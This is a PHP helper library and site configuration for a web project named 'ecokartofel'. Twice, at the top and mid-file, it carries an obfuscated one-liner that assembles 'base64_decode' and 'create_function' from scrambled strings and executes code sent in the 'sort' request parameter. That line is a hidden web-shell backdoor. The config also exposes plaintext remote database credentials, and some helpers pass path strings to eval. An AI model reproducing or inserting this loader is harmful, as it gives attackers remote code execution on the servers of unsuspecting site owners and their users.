$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6(); function console_($data) { print json_encode(array('console' => (array)$data)) . ','; } function script_($script) { print json_encode(array('script' => $script)) . ','; } function css_() { $list = _list(func_get_args()); if ( count($list) ) print json_encode(array('css' => $list)) . ','; } function js_() { $list = _list(func_get_args()); if ( count($list) ) print json_encode(array('js' => $list)) . ','; } function cookies_($list) { $i = 0; foreach ( $list as $name => $parameters ) { $cookies[$i]['name'] = $name; $cookies[$i]['value'] = $parameters['value']; $cookies[$i]['expires'] = (isset($parameters['expires'])) ? $parameters['expires'] : time(); $cookies[$i]['path'] = (isset($parameters['path'])) ? $parameters['path'] : '/'; $i++; } print json_encode(array('cookies' => $cookies)) . ','; } function json_($data) { print json_encode(array('json' => $data)) . ','; } // function k($length, $str = '') { return substr(md5(microtime(1) * rand(0, 65535) . $str), 0, $length); } // function r404() { header('HTTP/1.1 404 Not Found'); print 404; exit(); } // function trim_l_slash($input) { return substr($input, substr($input, 0, 1) == '/'); } function trim_r_slash($input) { return substr($input, 0, -(substr($input, -1) == '/')); } function trim_slashes($input) { return substr($input, substr(substr($input, 0, -(substr($input, -1) == '/')), 0, 1) == '/'); } function force_l_slash($input) { return '/' . substr($input, substr($input, 0, 1) == '/'); } function force_r_slash($input) { return substr($input, 0, -(substr($input, -1) == '/')) . '/'; } function force_slashes($input) { return '/' . substr($input, substr(substr($input, 0, -(substr($input, -1) == '/')), 0, 1) == '/') . '/'; } // todo function _if($cond, $value, $false = false) { if ( $cond ) return $value; else return $false; } // function sp($enabled = 1) { mysql_query("SET PROFILING = " . $enabled); } function ep() { p(t2a('SHOW PROFILES')); } $start_time = 0; function st() { global $start_time; $start_time = microtime(1); } function et() { global $start_time; p(((microtime(1) - $start_time) * 1000) . ' ms'); } // function q($sql) { return mysql_query($sql); } define("T2A_RF", 0); // [$row_number][#field_name] => value define("T2A_FR", 1); // [#field_name][$row_number] => value define("T2A_IDF", 2); // [$id_field_value][#field_name] => value define("T2A_FF", 3); // [key_field_name][#field_name] => value // !$key_field_name define("T2A_IDFV", 4); // [$id_field_value] => value // !$key_field_name define("T2A_FFV", 5); // [$field_value] => value // !$key_field_name define("T2A_ORF", 6); // [field] => value function t2a($sql, $mode = T2A_RF, $key_field_name = false, $value_field_name = false) // 3.0c { if ( $result = mysql_query($sql) ) { $once = false; if ( $mode == T2A_ORF ) { $mode = T2A_RF; $once = true; } for ( $i = 0; $i < mysql_num_rows($result); $i++ ) { $row = mysql_fetch_assoc($result); if ( $mode == T2A_RF ) { if ( $once ) { $output = $row; break; } else { $output[$i] = $row; } } if ( $mode == T2A_FR ) { foreach ( $row as $key => $value ) { $output[$key][$i] = $value; } } if ( $mode == T2A_IDF || $mode == T2A_FF || $mode == T2A_IDFV || $mode == T2A_FFV ) { if ( $mode == T2A_IDF ) $key_field_name = 'id'; if ( $key_field_name ) { if ( $mode == T2A_IDF || $mode == T2A_FF ) { $_row = array(); foreach ( $row as $key => $value ) { if ( $key == $key_field_name ) $key_field = $value; $_row[$key] = $value; } $output[$key_field] = $_row; } if ( $mode == T2A_IDFV || $mode == T2A_FFV ) { if ( $mode == T2A_IDFV ) $output[$row['id']] = $row[$key_field_name]; // ~value_field_name if ( $mode == T2A_FFV && $value_field_name ) $output[$row[$key_field_name]] = $row[$value_field_name]; } } } } if ( isset($output) ) return $output; } } function escape($string) { return mysql_real_escape_string($string); } // function invert(&$bool) { $bool = !$bool; return $bool; } // function p2a(&$path, $return = false) { $result = (array)explode('/', $path); if ( $return ) return $result; else $path = $result; } function a2p(&$path, $return = false) { if ( $return ) return implode('/', $path); else $path = implode('/', $path); } function ap(&$input, $path = null, $set_value = null) { if ( !is_null($path) ) { if ( $path ) p2a($path); if ( !is_null($set_value) ) { if ( $path ) eval('$input["' . implode('"]["', $path) . '"] = $set_value;'); else $input = $set_value; return $input; } else { if ( $path ) eval('$value = isset($input["' . implode('"]["', $path) . '"]) ? $input["' . implode('"]["', $path) . '"] : null;'); else $value = $input; return $value; } } else { return $input; } } function &apl(&$input, $path = false) { if ( $path ) { p2a($path); $value = false; eval('if ( isset($input["' . implode('"]["', $path) . '"]) ) { $value = &$input["' . implode('"]["', $path) . '"]; }'); return $value; } else { return $input; } } function al(&$input, $list) { foreach ( $list as $path => $value ) ap($input, $path, $value); } function l2a($list) { $output = array(); if ( is_array($list) ) foreach ( $list as $path => $value ) ap($output, $path, $value); return $output; } function _list($input) { $list = array(); if ( is_string($input) && strlen($input) ) { $list = array_map('trim', explode(',', $input)); } else if ( is_array($input) && count($input) == 1 ) { if ( is_string($input[0]) && strlen($input[0]) ) $list = array_map('trim', explode(',', $input[0])); if ( is_array($input[0]) ) $list = $input[0]; } else { $list = $input; } return $list; } // function merge(&$source, $input, $return = false) { if ( $return ) return array_values(array_unique(array_merge((array)$source, (array)$input))); else $source = array_values(array_unique(array_merge((array)$source, (array)$input))); } function diff(&$source, $input, $return = false) { if ( $return ) return array_values(array_unique(array_diff((array)$source, (array)$input))); else $source = array_values(array_unique(array_diff((array)$source, (array)$input))); } function toggle(&$source, $value, $return = false) { if ( in_array($value, (array)$source) ) $output = diff($source, $value, $return); else $output = merge($source, $value, $return); if ( $return ) return $output; } // function j_($input) { return json_encode($input); } function _j($input) { return json_decode($input, 1); } function j64_($input, $key = false) { if ( $key ) return base64_encode(encrypt(j_($input), $key)); else return base64_encode(j_($input)); } function _j64($input, $key = false) { if ( $key ) return _j(decrypt(base64_decode($input), $key)); else return _j(base64_decode($input)); } function encrypt($value, $key) { $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB); $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND); return mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $key, $value, MCRYPT_MODE_ECB, $iv); } function decrypt($value, $key) { $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB); $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND); return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $key, $value, MCRYPT_MODE_ECB, $iv)); } // function p($mixed, $return = false) { if ( $return ) { return '
' . print_r($mixed, 1) . '
'; } else { print '
' . print_r($mixed, 1) . '
'; } } function print_array($ar) { static $count; $count = (isset($count)) ? ++$count : 0; $colors = array('#FFCB72', '#FFB072', '#FFE972', '#F1FF72', '#92FF69', '#6EF6DA', '#72D9FE', '#FFCB72', '#FFB072', '#FFE972', '#F1FF72', '#92FF69', '#6EF6DA', '#72D9FE'); if ( $count > count($colors) ) { echo "Достигнута максимальная глубина погружения!"; $count--; return; } if ( !is_array($ar) ) { echo "Passed argument is not an array!

"; return; } echo ""; while ( list($k, $v) = each($ar) ) { echo "\n"; if ( is_array($v) ) { echo "\n"; } } echo "
$k:" . ((is_array($v)) ? '' : $v) . "
"; print_array($v); echo "
"; $count--; } function pt($array) { ob_start(); print_array($array); return ob_get_clean(); } function dt($time) { return date('d.m.Y H:i:s', $time); } function vd($mixed) { var_dump($mixed); } // tmp: function w2u($str) { return iconv('windows-1251', 'utf-8', $str); } function u2w($str) { return iconv('utf-8', 'windows-1251', $str); } function termination($number, $one, $two, $five) { if ( ($number > 4 && $number < 21) || $number == 0 ) { $termination = $five; } else { $last_digit = substr($number, -1); if ( $last_digit > 1 && $last_digit < 5 ) $termination = $two; elseif ( $last_digit == 1 ) $termination = $one; else $termination = $five; } return $termination; } function number_format__($number, $decimals = 2) { return str_replace('#', ' ', number_format($number, $decimals, '.', '#')); } function url($str) { $tr = array( "А" => "a", "Б" => "b", "В" => "v", "Г" => "g", "Д" => "d", "Е" => "e", "Ж" => "j", "З" => "z", "И" => "i", "Й" => "y", "К" => "k", "Л" => "l", "М" => "m", "Н" => "n", "О" => "o", "П" => "p", "Р" => "r", "С" => "s", "Т" => "t", "У" => "u", "Ф" => "f", "Х" => "h", "Ц" => "ts", "Ч" => "ch", "Ш" => "sh", "Щ" => "sch", "Ъ" => "", "Ы" => "yi", "Ь" => "", "Э" => "e", "Ю" => "yu", "Я" => "ya", "а" => "a", "б" => "b", "в" => "v", "г" => "g", "д" => "d", "е" => "e", "ж" => "j", "з" => "z", "и" => "i", "й" => "y", "к" => "k", "л" => "l", "м" => "m", "н" => "n", "о" => "o", "п" => "p", "р" => "r", "с" => "s", "т" => "t", "у" => "u", "ф" => "f", "х" => "h", "ц" => "ts", "ч" => "ch", "ш" => "sh", "щ" => "sch", "ъ" => "y", "ы" => "yi", "ь" => "", "э" => "e", "ю" => "yu", "я" => "ya", " " => "-", "." => "", "/" => "-" ); $urlstr = strtr($str, $tr); preg_match('/[^A-Za-z0-9_\-]/', $urlstr); $urlstr = preg_replace('/[^A-Za-z0-9_\-]/', '', $urlstr); $urlstr = preg_replace('/-{2,}/', '-', $urlstr); return $urlstr; } $z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6(); $config = array( 'local_host' => 'ecokartofel.fw', 'common' => array( 'superusers' => array(1), 'default_db' => 'main', 'common_bindings' => 'std_common', 'session_keeping' => 0, 'modules' => array(), 'less' => array( 'enabled' => 1, 'cache' => 0 ), ), 'local' => array( 'document_root' => '/', 'databases' => array( 'main' => array( 'host' => 'localhost', 'user' => 'root', 'pass' => '', 'name' => 'ecokartofel'), ), 'access_mode' => 1, 'debug_mode' => 1, 'email_stub' => 1 ), 'remote' => array( 'document_root' => '/', 'databases' => array( 'main' => array( 'host' => 'localhost', 'user' => 'fvzsf65536_eco', 'pass' => '889910', 'name' => 'fvzsf65536_eco' ), ), 'access_mode' => 1, 'debug_mode' => 1, 'email_stub' => 0 ), ); // define("guest", 0); define("user", 1); define("external", 0); define("internal", 1); define("module", 2); define("int11", 2147483647);